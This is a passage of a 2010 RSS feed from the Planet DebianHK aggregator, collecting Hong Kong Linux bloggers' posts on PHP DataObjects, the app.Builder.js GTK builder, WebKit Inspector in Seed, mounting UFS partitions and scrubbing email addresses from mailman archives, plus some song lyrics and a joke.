<?xml version="1.0"?>
<rdf:RDF
	xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:foaf="http://xmlns.com/foaf/0.1/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns="http://purl.org/rss/1.0/"
>
<channel rdf:about="http://planet.debian.org.hk/">
	<title>Planet DebianHK</title>
	<link>http://planet.debian.org.hk/</link>
	<description>Planet DebianHK - http://planet.debian.org.hk/</description>

	<items>
		<rdf:Seq>
			<rdf:li rdf:resource="http://roojs.com/index.php/View/218/Big_step_forward_in_Modular_Database_Applications_with_DataObjects.html" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/217/When_unstable_is_just_not_unstable_enough.html" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/216/Company_rename_and_RooJS_sites_now_online.html" />
			<rdf:li rdf:resource="http://hkdom.com/?p=679" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/194/Javascript_Packer.html" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/571" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/192/appBuilderjs__First_release.html" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/193/Using_WebKit_Inspector_with_seed.html" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-8720434395783584825" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-3456301976231671801" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-1776608923468558406" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-2665093458988725078" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-8149429488165896747" />
			<rdf:li rdf:resource="http://www.punknix.com/138 at http://www.punknix.com" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-3236165452274535683" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/191/Application_Builder_slowly_growing.html" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/190/Git_Live_.html" />
			<rdf:li rdf:resource="http://me.abelcheung.org/?p=735" />
			<rdf:li rdf:resource="http://blog.xychen.org/archives/2010/05/07/virtualbox-and-usb-in-lucid/" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-6123399422758185584" />
			<rdf:li rdf:resource="http://blog.xychen.org/archives/2010/04/29/ubuntu-1004-lts-new-features/" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-6971845464796343608" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-7026923709209255427" />
			<rdf:li rdf:resource="http://www.punknix.com/137 at http://www.punknix.com" />
			<rdf:li rdf:resource="http://me.abelcheung.org/?p=733" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-4971716205031087741" />
			<rdf:li rdf:resource="http://www.hkcode.com/windows-notes/570" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/569" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/189/Seed_doc_updates_and_Gio_async_directory_listing.html" />
			<rdf:li rdf:resource="http://blog.xychen.org/archives/2010/03/06/new-look-of-ubuntu/" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/568" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/567" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/188/Reported_Attack_Site__recovering_from_gumblars.html" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-2623867737968357576" />
			<rdf:li rdf:resource="http://roojs.com/index.php/View/187/Generating_Seed_Documentation_from_Gobject_introspection.html" />
			<rdf:li rdf:resource="http://www.punknix.com/136 at http://www.punknix.com" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/566" />
			<rdf:li rdf:resource="http://www.hkcode.com/programming/565" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/564" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/563" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/186/Drag_and_Drop_with_seed_Javascript_and_Gtk_.html" />
			<rdf:li rdf:resource="http://me.abelcheung.org/?p=731" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/562" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/561" />
			<rdf:li rdf:resource="http://www.hkcode.com/programming/560" />
			<rdf:li rdf:resource="http://www.hkcode.com/linux-bsd-notes/559" />
			<rdf:li rdf:resource="http://www.hkcode.com/my-life/558" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-4006348345528649311" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/185/Javascript_on_the_Desktop_well_Linux_Mostly.html" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-1791050942856904609" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-5575904075984704567" />
			<rdf:li rdf:resource="http://www.hkcode.com/internet-notes/557" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-1637058570151469939" />
			<rdf:li rdf:resource="http://blog.xychen.org/archives/2009/12/13/%e6%b0%91%e4%b8%bb%e9%bb%a8/" />
			<rdf:li rdf:resource="http://www.hkcode.com/internet-notes/556" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-4078398880973605609" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/184/RooJs_Appbuilder_preview.html" />
			<rdf:li rdf:resource="http://www.hkcode.com/programming/555" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8534016676139857894.post-9035715295298650917" />
			<rdf:li rdf:resource="http://www.akbkhome.com/blog.php/View/183/Ubuntu_release_910_a_bit_early.html" />
		</rdf:Seq>
	</items>
</channel>

<item rdf:about="http://roojs.com/index.php/View/218/Big_step_forward_in_Modular_Database_Applications_with_DataObjects.html">
	<title>Alan Knowles: Big step forward in Modular Database Applications with DataObjects</title>
	<link>http://roojs.com/index.php/View/218/Big_step_forward_in_Modular_Database_Applications_with_DataObjects.html</link>
	<content:encoded>&lt;a href=&quot;http://roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         &lt;div&gt;Being a Software Developer is all about developing applications faster, and delivering quicker. At the same time ensuring that quality is not lost and readibility is kept. &lt;a href=&quot;http://pear.php.net/package/DB_DataObject&quot;&gt;DB_DataObjects&lt;/a&gt; is one of the key tools in my productivity toolkit. It was originally designed as a way of ensuring that shared database related code ends up in the right place, In the Model layer of the application, rather than the View or Controller (or worse mixed in to some hybrid PHP HTML garbage..), along with doing cool stuff like Query building etc.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Over the years, of using DataObjects, I've built up quite a library of reusable DataObjects, which to some degree can be plugged in to any project. A &lt;a href=&quot;http://git.roojs.org/?p=Pman.Core;a=blob;f=DataObjects/Person.php&quot;&gt;Person&lt;/a&gt; object that handles login/authentication and authorization (working with the Permissions and Group objects). A Image object that handles storage of Images, and Files that can provide File type conversion for rendering (using things like unoconv, etc.)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;More recently, I've been using the &lt;a href=&quot;http://www.roojs.org/index.php/projects/javascript.html&quot;&gt;Roo Javascript library&lt;/a&gt; as the UI component, the &lt;a href=&quot;http://git.roojs.org&quot;&gt;Pman&lt;/a&gt; Components ontop of the very lightweight &lt;a href=&quot;http://git.roojs.org/?p=pear;a=blob;f=HTML/FlexyFramework.php&quot;&gt;HTML_FlexyFramework&lt;/a&gt;. The result is a very modular set of Application development parts. That can quickly be thrown together to build applications. Here's how they all fit together and how it just got a whole lot more modular and flexible...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-08-31T15:00:00+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/217/When_unstable_is_just_not_unstable_enough.html">
	<title>Alan Knowles: When unstable is just not unstable enough</title>
	<link>http://roojs.com/index.php/View/217/When_unstable_is_just_not_unstable_enough.html</link>
	<content:encoded>&lt;a href=&quot;http://roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         &lt;div&gt;..It all started by having yet another look at the gir problem..... Keeping them up-to-date, and trying out the latest cool Gnome toys.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-08-28T15:00:00+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/216/Company_rename_and_RooJS_sites_now_online.html">
	<title>Alan Knowles: Company rename and RooJS sites now online</title>
	<link>http://roojs.com/index.php/View/216/Company_rename_and_RooJS_sites_now_online.html</link>
	<content:encoded>&lt;a href=&quot;http://roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         After what seems like forever in design and migration, I've turned on the roojs.com and roojs.org domains, I'm slowly in the process phasing out my old company name - AK BK Consulting, which is now rooJSolutions&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Quite a few of the key pages are missing content at present, but the blog and it's features are mostly moved over.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After I fill out all the missing content, I'll get back to blogging about how most of the Javascript tools and associated backend libraries all work together. Exciting times for a quality platform neutral Javascript Rich User Interface,&amp;nbsp;guaranteed&amp;nbsp;$(wtf) free...&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-08-24T15:00:00+00:00</dc:date>
</item>
<item rdf:about="http://hkdom.com/?p=679">
	<title>阿當: Hello, Again</title>
	<link></link>
	<content:encoded>Hello, Again ~ JuJu (Straight Version) Hello, Again﻿ 從以前就存在的地方 總是與你一起等候的季節 無言地 就這麼過去 雨 落在這座城市 包覆了 些許的悔恨與罪 就在絕不哭泣的誓言裡 時光逝去 當作痛的心不曾察覺時 我成了孤獨的一個人 「在記憶裡 我倆可以永遠一起活下去」 你的聲音 如今迴盪在心底 有如愛情徬徨的身影 你是否也有些許的哭泣? 當時我沒能看清楚 探索自己的極限在哪裡 那並非我活著的目的 但是只要推開新的一扇門 來到大海 就可以清楚感覺海浪的彼方 有』盡頭』的存在 我要伸長手 朝天空前進 迎風而行 總會在某處再次遇見 那早已存在的場所 即使是夜晚 季節也不曾停止轉換 雨 終於停了 「在記憶裡 我倆可以 永遠一起活下去」 你的聲音 如今迴盪在心底 有如愛情徬徨的身影 你是否也有些許哭泣? 當時我沒能看清楚 &amp;#8230;&amp;#8230;. Hello, again&amp;#8230; a feeling [...]&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=hkdom.com&amp;amp;blog=6130&amp;amp;post=679&amp;amp;subd=hkdom&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</content:encoded>
	<dc:date>2010-08-21T19:23:53+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/194/Javascript_Packer.html">
	<title>Alan Knowles: Javascript Packer</title>
	<link>http://roojs.com/index.php/View/194/Javascript_Packer.html</link>
	<content:encoded>&lt;a href=&quot;http://roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
          Javascript packer in Javascript, with full scoped variable replacement 
&lt;h3&gt;Source:&lt;/h3&gt;
&lt;pre&gt;git clone http://git.roojs.org/gnome.introspection-doc-generator&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://git.roojs.org/?p=gnome.introspection-doc-generator;a=tree&quot;&gt;http://git.roojs.org/?p=gnome.introspection-doc-generator;a=tree&lt;/a&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;</content:encoded>
	<dc:date>2010-08-10T15:00:00+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/571">
	<title>Sam Tang: Linux 掛載 Freebsd UFS 分割區</title>
	<link>http://www.hkcode.com/linux-bsd-notes/571</link>
	<content:encoded>&lt;p&gt;今日想將一台 Freebsd 的主機硬碟掛載到 Linux 下，原本以為很簡單，但用 mount 指令出現錯誤，即是指定了 filesystem 類型也一樣。&lt;/p&gt;
&lt;p&gt;google 了一下，發現原來只可以掛載成 read only，假設 ufs 分割區為 /dev/sdc1，以下是在 Ubuntu 下掛載 UFS 分割區的方法:&lt;/p&gt;
&lt;div class=&quot;shell&quot;&gt;
sudo mkdir /mnt/ufsdisk&lt;br /&gt;
sudo mount -t ufs -r -o ufstype=ufs2 /dev/sdc1 /mnt/ufsdisk
&lt;/div&gt;</content:encoded>
	<dc:date>2010-08-03T01:44:24+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/192/appBuilderjs__First_release.html">
	<title>Alan Knowles: app.Builder.js - First release</title>
	<link>http://roojs.com/index.php/View/192/appBuilderjs__First_release.html</link>
	<content:encoded>&lt;a href=&quot;http://roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         
&lt;h3&gt;A Release!!! - Well Idle hands make cool stuff...&lt;/h3&gt;  

 

&lt;br /&gt;&lt;h3&gt;What is It?&lt;/h3&gt;Basically Glade on steriods. (and it needs a good name!!)&lt;br /&gt;&lt;h3&gt;What?&lt;/h3&gt;Well Glade the UI builder is great for what it does, however app.Builder.js attempts to solve a few roadblocks in Glade&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Moving stuff around is klumsy - no drag drop - It's not very good for prototyping layouts...&lt;/li&gt;&lt;li&gt;It's limited in what widgets can be added&lt;/li&gt;&lt;li&gt;Coding (when used as an Ajunta addon) is just downright messy.&lt;/li&gt;&lt;li&gt;It's difficult to extend/modify (and in some cases next to impossible)&lt;/li&gt;&lt;li&gt;Adding additional properties to widgets is difficult&lt;/li&gt;&lt;li&gt;Information is often hidden from display (how many clicks to find out what signals are connected)&lt;/li&gt;&lt;li&gt;There is no 'run it and see' option.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;So what makes this different..?&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;It's all done in Javascript - using a tree like structure (and it's fully self hosting) - the application is used to modify it'self.&lt;/li&gt;&lt;li&gt;It uses GObject Introspection. which solves a number of issues&lt;/li&gt;&lt;ul&gt;&lt;li&gt;All available properties can be set (and quickly listed, with documentation)&lt;/li&gt;&lt;li&gt;how widget's can be packed, can be determined from introspection of the methods.&lt;/li&gt;&lt;li&gt;all signals are available, and stubs are created for you to start implementing.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Making extra widgets to the application is just a matter of editing files (eventually a UI will enable you to pick from a list of available Introspection elements... )&lt;/li&gt;&lt;li&gt;You can build web Applications (using toolkits like RooJS) - ExtJS, Moo etc. could be easily added..&lt;/li&gt;&lt;li&gt;It should be quite easy to build Clutter applications...&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Do I need to know anything to use it.&lt;/h3&gt;Yes, one of the core concepts behind the builder is understanding XObject, a simple Javascript wrapper around GObjects&lt;br /&gt;that enables you to create a JSON like tree, and XObject will turn your tree into an application.&lt;br /&gt;&lt;br /&gt;Key features of the XObject are&lt;br /&gt;&lt;ul&gt;&lt;li&gt;xtype - the name of the GObject (eg. Gtk.Window)&lt;/li&gt;&lt;li&gt;packing - the pack property, can be a string (comma seperated indicating how an element is packed to it's parent)&lt;/li&gt;&lt;li&gt;id - all objects can have ID's you can fetch any object using this.get('the_id') as long as it's a child of the current element. To look up the tree, use a '.' at the start, or to start at the top of the tree use '/', eg. this.get('/Window') get's you the window. this.get('/Window.toolbar') get's you the first toolbar in the window.&lt;/li&gt;&lt;li&gt;el - when an element is created, the GObject is always stored in this.el&lt;/li&gt;&lt;li&gt;|pipe - properties - currently the editor uses '|' as a prefix to indicate the value is raw Javascript (eg. a function or Value, that when used should not be quoted as if it was a string.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;What state is it in?&lt;/h3&gt;Well, It's self editing.. - The application is used to create it's self, just create a new Gtk Project, and point it at the Sample directory, and you can edit the current codebase. (copying it to the Builder directory when you have a stable build)&lt;br /&gt;&lt;h3&gt;What's to do...&lt;/h3&gt;Quite a few tweaks.. It works, but could do with more time in polishing the interface. My personal goal is to save time using it as a productivity tool, for development. Which is basically where it's at..&lt;br /&gt;&lt;h3&gt;Where do I get it?&lt;/h3&gt;Download a tarball &lt;a href=&quot;http://devel.akbkhome.com/app.Builder.js.2010-05-25.tgz&quot;&gt;app.Builder.js.2010-05-25.tgz&lt;/a&gt;&lt;div&gt; or &lt;/div&gt; &lt;div&gt;git clone http://git.akbkhome.com/app.Builder.js&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;once unpacked/cloned.&lt;/div&gt;&lt;div&gt;run install_gir.sh - to update your gir files.&lt;/div&gt;&lt;div&gt;If you want to try RooJS editor - you need git then&lt;/div&gt;&lt;div&gt;run update.sh&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;What do I need to get it to work?&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;basically a working gobject instrospection installation (.gir files and .typelib files) and the latest version of the Gnome seed interpreter&lt;/div&gt;&lt;div&gt;- I know it works on Linux. I would be interested to hear if it works on other platforms.&lt;/div&gt;&lt;div&gt;Note: there is a update script in the distribution which fixes the currently available Gtk gir's (please read the readme.txt for more info)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;</content:encoded>
	<dc:date>2010-07-04T15:00:00+00:00</dc:date>
</item>
<item rdf:about="http://roojs.com/index.php/View/193/Using_WebKit_Inspector_with_seed.html">
	<title>Alan Knowles: Using WebKit Inspector with seed</title>
	<link>http://roojs.com/index.php/View/193/Using_WebKit_Inspector_with_seed.html</link>
	<content:encoded>&lt;a href=&quot;http://roojs.com/index.php/View.html&quot;&gt;Article originally from rooJSolutions blog&lt;/a&gt;&lt;br /&gt;
         
One of the key reasons to create the app.Builder, was so I could speed up the development of Web applications using the Roo library. The web based version saved considerable time, and led to quite an improvement in delivery times for projects. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;It's key drawback was the very limited editing enviroment offered by web based textarea, the slight latency and klunky file writing method. However the ability to use Firebug or Webkit inspector was very usefull in debugging in-development applications.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As I eat my own dogfood by developing with the desktop version, most of the previous issues with the development platform had been solved, however debugging was very difficult - I effectively had to run the application in a browser to get debugging information. So after a day of fustration with that, I decided to investigate the Webkit API a bit further, and to my delight discovered that the Inspector you see in Chromium / Chrome is just a few lines of code away.&lt;/div&gt;&lt;div align=&quot;baseline&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;http://devel.akbkhome.com/webkit_inspector.jpg&quot; /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As you can see above, I can fully debug the application as it's being modified.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The basic code to do this was quite simple. It needs a couple of fixes to the WebKit Gir file, (which has been submitted as a bug report to Webkit), but this simple bit of code should illustrate how to use it in seed.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;//&amp;lt;Script type=&amp;quot;text/javascript&amp;quot;&amp;gt;

/**
 *  Test of web kit inspector.
 *  create a window + 2 webviews. inside scrolled window.
 *     load google in first, then hook in the inspector..
 * 
 * needs the transfer ownship fixing on return value in  WebKit-1.0.gir
 * 
 *  &amp;lt;method name=&amp;quot;get_inspector&amp;quot;
 *             c:identifier=&amp;quot;webkit_web_view_get_inspector&amp;quot;&amp;gt;
 *       &amp;lt;return-value transfer-ownership=&amp;quot;none&amp;quot;&amp;gt;
 *         &amp;lt;type name=&amp;quot;WebInspector&amp;quot; c:type=&amp;quot;WebKitWebInspector*&amp;quot;/&amp;gt;
 *       &amp;lt;/return-value&amp;gt;
 *     &amp;lt;/method&amp;gt;
 *
 * then compile it..
 * g-ir-compiler /usr/share/gir-1.0/WebKit-1.0.gir -o /usr/lib/girepository-1.0/WebKit-1.0.typelib 
 *
 */
 
 
Gtk = imports.gi.Gtk;
WebKit = imports.gi.WebKit;

Gtk.init(null,null);

// build the UI..
w = new Gtk.Window.c_new( Gtk.WindowType.TOPLEVEL);
v = new Gtk.VBox();
s1 = new Gtk.ScrolledWindow();
s2 = new Gtk.ScrolledWindow();
w1 = new WebKit.WebView();
w2 = new WebKit.WebView();
s1.add(w1);
s2.add(w2);
v.add(s1);
v.add(s2);
w.add(v);

// enable inspector..
w1.get_settings().enable_developer_extras = true;

// load google on show..
w1.signal.show.connect(function() {
    w1.load_uri(&amp;quot;http://www.google.com&amp;quot;);
});

// load the inspector when loading has finished!
w1.signal.load_finished.connect(function(wv) {
    w1.get_inspector().show();
});

// return the bottom window as the inspector..
w1.get_inspector().signal.inspect_web_view.connect(function() {
    return w2;
})

// show and go..
w.show_all();
Gtk.main();

 &lt;/pre&gt;</content:encoded>
	<dc:date>2010-06-11T05:32:09+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-8720434395783584825">
	<title>Vern: 看到一个好玩的签名</title>
	<link>http://www.du1abadd.org/2010/06/blog-post_08.html</link>
	<content:encoded>&lt;b class=&quot;postauthor&quot;&gt;&lt;a href=&quot;http://forum.ubuntu.org.cn/memberlist.php?mode=viewprofile&amp;amp;u=133450&amp;amp;sid=0a9e0f7e8f7b10853b688a2f3a31bde1&quot;&gt;alvanshi&lt;/a&gt;&lt;/b&gt;&lt;span class=&quot;signature&quot;&gt;@&lt;a href=&quot;http://tinyurl.com/3xf8udv&quot;&gt;http://tinyurl.com/3xf8udv&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;sudo apt-get install girlfriend&lt;br /&gt;正在读取软件包列表...  完成&lt;br /&gt;正在分析软件包的依赖关系树... 完成&lt;br /&gt;有一些软件包无法被安装。&lt;br /&gt;下列的信息可能会对解决问题有所帮助：&lt;br /&gt;下列的软件 包有不能满足的依赖关系：&lt;br /&gt;girlfiend: 依赖: hourse但是它将不会被安装&lt;br /&gt;girlfiend: 依赖:  car但是它将不会被安装&lt;br /&gt;house,car: 依赖: money但是它将不会被安装&lt;br /&gt;E: 无法安装的软件包&lt;/span&gt; 					&lt;br /&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-8720434395783584825?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-06-08T17:58:29+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-3456301976231671801">
	<title>Vern: 无题</title>
	<link>http://www.du1abadd.org/2010/06/blog-post.html</link>
	<content:encoded>&lt;p class=&quot;mobile-photo&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_oKL9t7fM3TU/TA3FFvDKAhI/AAAAAAAABB8/vFEwjTNnlVk/s1600/debian_umbrella-738701.jpg&quot;&gt;&lt;img src=&quot;http://4.bp.blogspot.com/_oKL9t7fM3TU/TA3FFvDKAhI/AAAAAAAABB8/vFEwjTNnlVk/s320/debian_umbrella-738701.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5480253023899484690&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-3456301976231671801?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-06-08T12:20:38+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-1776608923468558406">
	<title>Vern: 自然码辅码表</title>
	<link>http://www.du1abadd.org/2010/05/blog-post_24.html</link>
	<content:encoded>&lt;p class=&quot;mobile-photo&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_oKL9t7fM3TU/S_poZuL3x5I/AAAAAAAABBc/QeG8NhVSuE8/s1600/xyma-726545.gif&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_oKL9t7fM3TU/S_poZuL3x5I/AAAAAAAABBc/QeG8NhVSuE8/s320/xyma-726545.gif&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5474803088126101394&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-1776608923468558406?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-05-24T19:52:06+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-2665093458988725078">
	<title>Vern: 无题</title>
	<link>http://www.du1abadd.org/2010/05/blog-post.html</link>
	<content:encoded>&lt;p class=&quot;mobile-photo&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_oKL9t7fM3TU/S_dAmHyILnI/AAAAAAAABBQ/Vtrk8Xj1kRA/s1600/2010-05-22_1440x900-728206.png&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_oKL9t7fM3TU/S_dAmHyILnI/AAAAAAAABBQ/Vtrk8Xj1kRA/s320/2010-05-22_1440x900-728206.png&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5473914895760633458&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-2665093458988725078?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-05-22T10:25:28+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-8149429488165896747">
	<title>Vern: RT urxvt mouseless url yanking</title>
	<link>http://www.du1abadd.org/2010/05/rt-urxvt-mouseless-url-yanking.html</link>
	<content:encoded>@&lt;a href=&quot;http://www.jukie.net/bart/blog/urxvt-url-yank&quot;&gt;http://www.jukie.net/bart/blog/urxvt-url-yank&lt;/a&gt;&lt;br clear=&quot;all&quot; /&gt;&lt;br /&gt;1$ wget &lt;a href=&quot;http://search.cpan.org/CPAN/authors/id/K/KI/KING/Clipboard-0.09.tar.gz&quot;&gt;http://search.cpan.org/CPAN/authors/id/K/KI/KING/Clipboard-0.09.tar.gz&lt;/a&gt;&lt;br /&gt; 2$ tar -zxf Clipboard-0.09.tar.gz; cd Clipboard-0.09&lt;br /&gt;3$ apt-get install libspiffy-perl xclip&lt;br /&gt;4$ perl Makefile.PL&amp;amp;&amp;amp; make all test &amp;amp;&amp;amp; sudo make install&lt;br /&gt;&lt;br /&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-8149429488165896747?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-05-17T14:09:26+00:00</dc:date>
</item>
<item rdf:about="http://www.punknix.com/138 at http://www.punknix.com">
	<title>Punky Tse: Spam protected email address for mailman archive</title>
	<link>http://www.punknix.com/node/138</link>
	<content:encoded>&lt;p&gt;
As a &lt;a href=&quot;http://list.voyage.hk/mailman/listinfo/voyage-linux&quot;&gt;voyage-linux list&lt;/a&gt; administrator, I have recently received a request from a list member for removing his email address from the archive.  I have reviewed the archive immediately and the email address is shown as &quot;xxx at yyy.com&quot;, which makes intelligent spam-bots easily to find out the email address.  
&lt;/p&gt;
&lt;p&gt;
I have prepared the a script called &quot;replace_spam.sh&quot; to replace &quot;xxx at yyy.com&quot; with &quot;(spam-protected)&quot; for all archived messages.
&lt;/p&gt;
&lt;pre&gt;
#!/bin/sh
for FILE in 20[0-9][0-9]-*/0*.html
do
    echo $FILE
    #grep &quot;TITLE=.*\&gt;.* at .*$&quot; $FILE
    sed -e &quot;s/TITLE=\(.*\)&gt;.* at .*$/TITLE\1&gt;\(spam-protected\)/&quot; -i $FILE
done
&lt;/pre&gt;

&lt;p&gt;
Put the script to the archive root and run it:
&lt;/p&gt;
&lt;pre&gt;
# cd /usr/local/mailman/archives/private/voyage-linux
# replace_spam.sh
&lt;/pre&gt;
&lt;p&gt;
Next, we need to change the achiver program such that it will not generated &quot;xxx at yyy.com&quot; as well.  In /usr/local/mailman/Mailman/Archiver/HyperArch.py, change:
&lt;/p&gt;
&lt;pre&gt;
-                self.email = re.sub('@', _(' at '), self.email)
